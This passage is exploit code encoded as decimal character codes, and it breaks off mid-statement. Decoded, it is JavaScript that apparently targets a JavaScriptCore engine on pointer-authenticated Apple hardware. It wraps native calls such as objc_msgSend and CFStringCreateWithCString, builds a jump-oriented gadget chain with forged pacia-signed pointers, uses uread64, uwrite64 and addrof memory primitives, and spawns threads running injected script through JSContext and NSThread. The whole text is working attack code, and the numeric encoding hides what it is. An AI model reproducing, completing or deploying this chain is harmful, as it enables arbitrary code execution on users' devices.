67, 79, 80, 89, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 67, 70, 83, 84, 82, 73, 78, 71, 67, 82, 69, 65, 84, 69, 87, 73, 84, 72, 67, 83, 84, 82, 73, 78, 71, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 40, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 44, 32, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 97, 108, 108, 111, 99, 95, 105, 110, 105, 116, 40, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 65, 76, 76, 79, 67, 95, 73, 78, 73, 84, 44, 32, 99, 108, 97, 115, 115, 95, 111, 98, 106, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 99, 108, 97, 115, 115, 95, 110, 97, 109, 101, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 71, 69, 84, 67, 76, 65, 83, 83, 44, 32, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 99, 108, 97, 115, 115, 95, 110, 97, 109, 101, 41, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 46, 46, 46, 97, 114, 103, 115, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 79, 66, 74, 67, 95, 77, 83, 71, 83, 69, 78, 68, 44, 32, 46, 46, 46, 97, 114, 103, 115, 41, 59, 32, 125, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 99, 115, 116, 114, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 102, 99, 97, 108, 108, 40, 83, 69, 76, 95, 82, 69, 71, 73, 83, 84, 69, 82, 78, 65, 77, 69, 44, 32, 99, 115, 116, 114, 41, 59, 32, 125, 10, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 58, 115, 101, 108, 101, 99, 116, 111, 114, 58, 111, 98, 106, 101, 99, 116, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 107, 101, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 110, 118, 111, 107, 101, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 115, 70, 105, 110, 105, 115, 104, 101, 100, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 108, 101, 97, 115, 101, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 101, 108, 101, 97, 115, 101, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 58, 97, 116, 73, 110, 100, 101, 120, 58, 34, 41, 41, 59, 10, 108, 101, 116, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 116, 97, 114, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 115, 101, 108, 95, 114, 101, 103, 105, 115, 116, 101, 114, 78, 97, 109, 101, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 115, 116, 97, 114, 116, 34, 41, 41, 59, 10, 10, 108, 101, 116, 32, 105, 110, 118, 111, 107, 101, 95, 99, 108, 97, 115, 115, 32, 32, 32, 61, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 34, 78, 83, 73, 110, 118, 111, 99, 97, 116, 105, 111, 110, 34, 41, 59, 10, 108, 101, 116, 32, 106, 115, 99, 95, 99, 108, 97, 115, 115, 32, 32, 32, 32, 32, 32, 61, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 34, 74, 83, 67, 111, 110, 116, 101, 120, 116, 34, 41, 59, 10, 108, 101, 116, 32, 110, 115, 116, 104, 114, 101, 97, 100, 95, 99, 108, 97, 115, 115, 32, 61, 32, 111, 98, 106, 99, 95, 103, 101, 116, 67, 108, 97, 115, 115, 40, 34, 78, 83, 84, 104, 114, 101, 97, 100, 34, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 99, 115, 116, 114, 105, 110, 103, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 87, 105, 116, 104, 67, 83, 116, 114, 105, 110, 103, 40, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 44, 32, 99, 115, 116, 114, 105, 110, 103, 44, 32, 107, 67, 70, 83, 116, 114, 105, 110, 103, 69, 110, 99, 111, 100, 105, 110, 103, 85, 84, 70, 56, 41, 59, 10, 125, 10, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 98, 111, 120, 101, 100, 95, 97, 114, 114, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 98, 111, 120, 101, 100, 95, 97, 114, 114, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 99, 111, 110, 116, 114, 111, 108, 95, 97, 114, 114, 97, 121, 95, 56, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 114, 114, 97, 121, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 102, 117, 110, 99, 95, 111, 102, 102, 115, 101, 116, 115, 95, 97, 114, 114, 97, 121, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 105, 115, 78, 97, 78, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 105, 115, 78, 97, 78, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 119, 95, 97, 114, 114, 97, 121, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 32, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 114, 119, 95, 97, 114, 114, 97, 121, 95, 56, 34, 41, 41, 59, 10, 108, 101, 116, 32, 99, 102, 115, 116, 114, 95, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 32, 32, 32, 32, 32, 32, 32, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 34, 117, 110, 98, 111, 120, 101, 100, 95, 97, 114, 114, 34, 41, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 95, 99, 111, 112, 121, 40, 99, 102, 115, 116, 114, 105, 110, 103, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 67, 70, 83, 116, 114, 105, 110, 103, 67, 114, 101, 97, 116, 101, 67, 111, 112, 121, 40, 107, 67, 70, 65, 108, 108, 111, 99, 97, 116, 111, 114, 68, 101, 102, 97, 117, 108, 116, 44, 32, 99, 102, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 40, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 116, 97, 105, 110, 67, 111, 117, 110, 116, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 101, 99, 116, 95, 114, 101, 108, 101, 97, 115, 101, 40, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 114, 101, 108, 101, 97, 115, 101, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 40, 111, 98, 106, 44, 32, 99, 102, 115, 116, 114, 95, 107, 101, 121, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 70, 111, 114, 75, 101, 121, 101, 100, 83, 117, 98, 115, 99, 114, 105, 112, 116, 44, 32, 99, 102, 115, 116, 114, 95, 107, 101, 121, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 40, 111, 98, 106, 44, 32, 106, 115, 99, 114, 105, 112, 116, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 44, 32, 106, 115, 99, 114, 105, 112, 116, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 40, 111, 98, 106, 44, 32, 115, 101, 108, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 109, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 70, 111, 114, 83, 101, 108, 101, 99, 116, 111, 114, 44, 32, 115, 101, 108, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 40, 111, 98, 106, 44, 32, 115, 105, 103, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 87, 105, 116, 104, 77, 101, 116, 104, 111, 100, 83, 105, 103, 110, 97, 116, 117, 114, 101, 44, 32, 115, 105, 103, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 40, 111, 98, 106, 44, 32, 97, 114, 103, 44, 32, 105, 100, 120, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 101, 116, 65, 114, 103, 117, 109, 101, 110, 116, 95, 97, 116, 73, 110, 100, 101, 120, 44, 32, 97, 114, 103, 44, 32, 105, 100, 120, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 40, 111, 98, 106, 44, 32, 116, 97, 114, 103, 101, 116, 44, 32, 115, 101, 108, 44, 32, 111, 98, 106, 101, 99, 116, 41, 10, 123, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 105, 110, 105, 116, 87, 105, 116, 104, 84, 97, 114, 103, 101, 116, 95, 115, 101, 108, 101, 99, 116, 111, 114, 95, 111, 98, 106, 101, 99, 116, 44, 32, 116, 97, 114, 103, 101, 116, 44, 32, 115, 101, 108, 44, 32, 111, 98, 106, 101, 99, 116, 41, 59, 10, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 110, 115, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 40, 111, 98, 106, 41, 32, 123, 32, 114, 101, 116, 117, 114, 110, 32, 111, 98, 106, 99, 95, 109, 115, 103, 83, 101, 110, 100, 40, 111, 98, 106, 44, 32, 115, 101, 108, 101, 99, 116, 111, 114, 95, 115, 116, 97, 114, 116, 41, 59, 32, 125, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 115, 101, 116, 117, 112, 95, 102, 99, 97, 108, 108, 95, 106, 111, 112, 99, 104, 97, 105, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 32, 61, 32, 109, 97, 108, 108, 111, 99, 40, 80, 65, 71, 69, 95, 83, 73, 90, 69, 41, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 61, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 49, 48, 48, 110, 59, 10, 32, 32, 32, 32, 108, 101, 116, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 32, 32, 61, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 50, 48, 48, 110, 59, 10, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 48, 110, 44, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 56, 110, 44, 32, 112, 97, 99, 105, 97, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 44, 32, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 49, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 95, 67, 70, 79, 98, 106, 101, 99, 116, 67, 111, 112, 121, 80, 114, 111, 112, 101, 114, 116, 121, 44, 32, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 32, 43, 32, 48, 120, 52, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 106, 115, 118, 109, 95, 105, 115, 78, 65, 78, 95, 102, 99, 97, 108, 108, 95, 103, 97, 100, 103, 101, 116, 50, 44, 32, 48, 110, 41, 41, 59, 10, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 50, 48, 110, 44, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 52, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 50, 56, 110, 44, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 32, 45, 32, 48, 120, 49, 48, 110, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 51, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 48, 120, 52, 49, 52, 49, 52, 49, 52, 49, 110, 44, 32, 48, 120, 67, 50, 68, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 53, 48, 110, 44, 32, 112, 97, 99, 105, 97, 40, 102, 99, 97, 108, 108, 95, 49, 52, 95, 97, 114, 103, 115, 95, 119, 114, 105, 116, 101, 95, 120, 56, 44, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 53, 48, 110, 41, 41, 59, 10, 10, 32, 32, 32, 32, 114, 101, 116, 117, 114, 110, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 34, 32, 58, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 98, 117, 102, 102, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 112, 99, 34, 32, 58, 32, 108, 111, 97, 100, 95, 120, 49, 120, 51, 120, 56, 95, 97, 114, 103, 115, 32, 43, 32, 48, 120, 51, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 34, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 34, 32, 58, 32, 106, 115, 118, 109, 95, 102, 99, 97, 108, 108, 95, 97, 114, 103, 115, 44, 10, 32, 32, 32, 32, 125, 59, 10, 125, 10, 10, 108, 101, 116, 32, 101, 118, 97, 108, 117, 97, 116, 101, 83, 99, 114, 105, 112, 116, 95, 105, 110, 118, 111, 99, 97, 116, 105, 111, 110, 32, 61, 32, 48, 110, 59, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 106, 115, 95, 116, 104, 114, 101, 97, 100, 95, 115, 112, 97, 119, 110, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 44, 32, 116, 97, 114, 103, 101, 116, 95, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 32, 61, 32, 48, 120, 48, 110, 41, 10, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 121, 112, 101, 111, 102, 32, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 32, 61, 61, 61, 32, 34, 115, 116, 114, 105, 110, 103, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 103, 101, 116, 95, 99, 115, 116, 114, 105, 110, 103, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 41, 59, 10, 32, 32, 32, 32, 125, 32, 101, 108, 115, 101, 32, 105, 102, 32, 40, 116, 121, 112, 101, 111, 102, 32, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 32, 61, 61, 61, 32, 34, 111, 98, 106, 101, 99, 116, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 61, 32, 99, 114, 101, 97, 116, 101, 95, 99, 102, 115, 116, 114, 105, 110, 103, 40, 117, 114, 101, 97, 100, 54, 52, 40, 97, 100, 100, 114, 111, 102, 40, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 41, 32, 43, 32, 48, 120, 49, 48, 110, 41, 41, 59, 10, 32, 32, 32, 32, 125, 32, 101, 108, 115, 101, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 105, 110, 32, 116, 104, 105, 115, 32, 99, 97, 115, 101, 44, 32, 105, 116, 39, 115, 32, 97, 108, 114, 101, 97, 100, 121, 32, 97, 32, 67, 70, 83, 116, 114, 105, 110, 103, 44, 32, 115, 111, 32, 108, 101, 116, 39, 115, 32, 106, 117, 115, 116, 32, 99, 111, 112, 121, 32, 105, 116, 10, 32, 32, 32, 32, 32, 32, 32, 32, 106, 115, 95, 115, 99, 114, 105, 112, 116, 95, 110, 115, 115, 116, 114, 105, 110, 103, 32, 